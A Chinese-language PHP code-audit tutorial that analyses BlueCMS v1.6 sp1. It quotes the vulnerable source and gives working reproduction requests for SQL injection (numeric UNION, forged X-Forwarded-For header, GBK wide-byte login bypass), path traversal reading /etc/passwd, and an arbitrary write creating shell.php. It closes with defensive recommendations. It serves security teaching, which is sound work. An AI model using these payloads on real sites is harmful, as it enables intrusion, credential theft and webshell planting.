通过 BlueCMS 学习 php 代码审计
字数 1406 2025-08-13 21:33:22
BlueCMS v1.6 sp1 代码审计实战教程
0x00 前言
本教程将详细分析BlueCMS v1.6 sp1版本的代码审计过程,涵盖从基础环境搭建到漏洞挖掘的全过程。BlueCMS作为早期流行的CMS系统,是学习PHP代码审计的经典案例,通过对其审计可以掌握常见Web漏洞的挖掘方法。
0x01 环境准备
系统简介
BlueCMS是一款应用于地方分类信息的门户系统,v1.6 sp1版发布于2010年左右。该系统采用传统PHP开发模式,未使用MVC架构,适合初学者理解基础PHP开发模式。
环境搭建
- 源码获取:可从站长之家(http://down.chinaz.com/)下载
- 安装步骤:
- 访问/install/index.php进行安装
- 安装过程可能存在小bug,但返回首页后通常能安装成功
0x02 全局代码分析
目录结构
/ (根目录)
├── index.php # 前台入口文件
├── admin/ # 后台目录
│ ├── index.php # 后台入口文件
│ └── ...
├── include/ # 核心函数库
│ ├── common.inc.php # 全局配置文件
│ ├── common.fun.php # 公共函数库
│ └── mysql.class.php # 数据库操作类
└── templates/ # 模板文件
核心文件分析
1. 前台入口 index.php
require_once('include/common.inc.php');
require_once(BLUE_ROOT.'include/index.fun.php');
// 获取数据并显示
$smarty->display('index.htm');
2. 全局配置文件 common.inc.php
// 数据过滤
if(!get_magic_quotes_gpc()){
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
// 数据库连接
$db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
// Smarty模板引擎
$smarty = new Smarty();
// IP黑名单检查
$banned_ip = get_bannedip();
if (@in_array($online_ip, $banned_ip)){
showmsg('对不起,您的IP已被禁止!');
}
3. 数据过滤函数 deep_addslashes()
function deep_addslashes($str){
if(is_array($str)){
foreach($str as $key=>$val){
$str[$key] = deep_addslashes($val);
}
}else{
$str = addslashes($str);
}
return $str;
}
4. 数据库操作类 mysql.class.php
class mysql {
var $linkid=null;
function __construct($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk'){
// 使用GBK编码 - 可能导致宽字节注入
mysql_query("SET NAMES gbk");
}
// SQL执行方法
function query($sql){
if(!$query=@mysql_query($sql, $this->linkid)){
$this->dbshow("Query error:$sql");
}else{
return $query;
}
}
// 查询单条数据
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}
}
0x03 漏洞审计与分析
1. 数字型SQL注入
漏洞文件: ad_js.php
require_once dirname(__FILE__) . '/include/common.inc.php';
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
漏洞分析:
- ad_id参数未使用引号包裹
- 虽然经过addslashes过滤,但数字型注入不受影响
- 可直接拼接SQL语句
漏洞复现:
http://bluecms.test:8888/ad_js.php?ad_id=0 union select 1,2,3,4,5,6,version()--+
2. $_SERVER变量注入
漏洞文件: guest_book.php
require dirname(__FILE__) . '/include/common.inc.php';
if($act == 'send'){
$sql = "INSERT INTO ".table('guest_book')." VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);
}
相关函数 (common.fun.php):
function getip(){
if (getenv('HTTP_CLIENT_IP')) {
$ip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('HTTP_X_FORWARDED_FOR')) {
$ip = getenv('HTTP_X_FORWARDED_FOR');
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
漏洞分析:
- 程序未过滤$_SERVER变量
- 攻击者可伪造HTTP_CLIENT_IP或HTTP_X_FORWARDED_FOR头注入SQL
漏洞复现:
POST /guest_book.php HTTP/1.1
Host: bluecms.test:8888
X_FORWARDED_FOR: 192.168.44.1',user())#
Content-Length: 37
content=hello&act=send&page_id=1&rid=
3. 宽字节注入
漏洞文件: admin/login.php
require_once(dirname(__FILE__) . '/include/common.inc.php');
if($act == 'do_login'){
$admin_name = trim($_POST['admin_name']);
$admin_pwd = trim($_POST['admin_pwd']);
if(check_admin($admin_name, $admin_pwd)){
// 登录成功
}
}
验证函数 (admin/include/common.fun.php):
function check_admin($name, $pwd){
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
return $row['num'] > 0;
}
漏洞分析:
- 数据库使用GBK编码
- 可利用宽字节绕过addslashes过滤
- 构造特殊字符使转义符失效
漏洞复现:
POST /admin/login.php HTTP/1.1
Host: bluecms.test:8888
act=do_login&admin_name=admin%df%27or%201=1%23&admin_pwd=123456
4. 任意文件读取/写入
漏洞文件: admin/tpl_manage.php
require_once(dirname(__FILE__).'/include/common.inc.php');
if($act == 'edit'){
$file = $_GET['tpl_name'];
$handle = fopen(BLUE_ROOT.'templates/default/'.$file, 'rb');
$tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file));
}
if($act == 'do_edit'){
$tpl_name = trim($_POST['tpl_name']);
$tpl_content = deep_stripslashes($_POST['tpl_content']);
$tpl = BLUE_ROOT.'templates/default/'.$tpl_name;
$handle = fopen($tpl, 'wb');
fwrite($handle, $tpl_content);
}
漏洞分析:
- tpl_name参数未过滤,可通过../实现目录穿越
- deep_stripslashes()完全还原用户输入内容
- 可读取或写入服务器任意文件
漏洞复现:
- 任意文件读取:
http://bluecms.test:8888/admin/tpl_manage.php?act=edit&tpl_name=../../../../etc/passwd
- 任意文件写入:
POST /admin/tpl_manage.php HTTP/1.1
Host: bluecms.test:8888
tpl_content=<?php phpinfo();?>&tpl_name=shell.php&act=do_edit
5. 任意文件删除
漏洞文件: user.php
elseif ($act == 'del_pic') {
$id = $_REQUEST['id'];
$db->query("DELETE FROM " . table('company_image') . " WHERE path='$id'");
if (file_exists(BLUE_ROOT . $id)) {
@unlink(BLUE_ROOT . $id);
}
}
漏洞分析:
- id参数可控且直接传入unlink()
- 虽然前置SQL可能报错,但不影响unlink执行
- 可删除服务器任意文件
0x04 防御建议
-
SQL注入防御:
- 使用预处理语句(PDO/mysqli)
- 严格类型转换(intval等)
- 统一字符集为UTF-8避免宽字节问题
-
文件操作防御:
- 限制操作目录范围
- 检查文件名合法性(正则过滤)
- 禁用../等路径穿越字符
-
全局安全增强:
- 过滤所有外部输入($_SERVER等)
- 实现单一入口模式
- 严格权限控制
0x05 总结
通过对BlueCMS的审计,我们学习了以下关键知识点:
- 数字型SQL注入的挖掘方法
- 宽字节注入的原理与利用
- $_SERVER变量的安全隐患
- 文件操作类漏洞的审计技巧
- 早期CMS的常见安全缺陷
这些知识不仅适用于BlueCMS,也可应用于其他类似系统的安全审计工作中。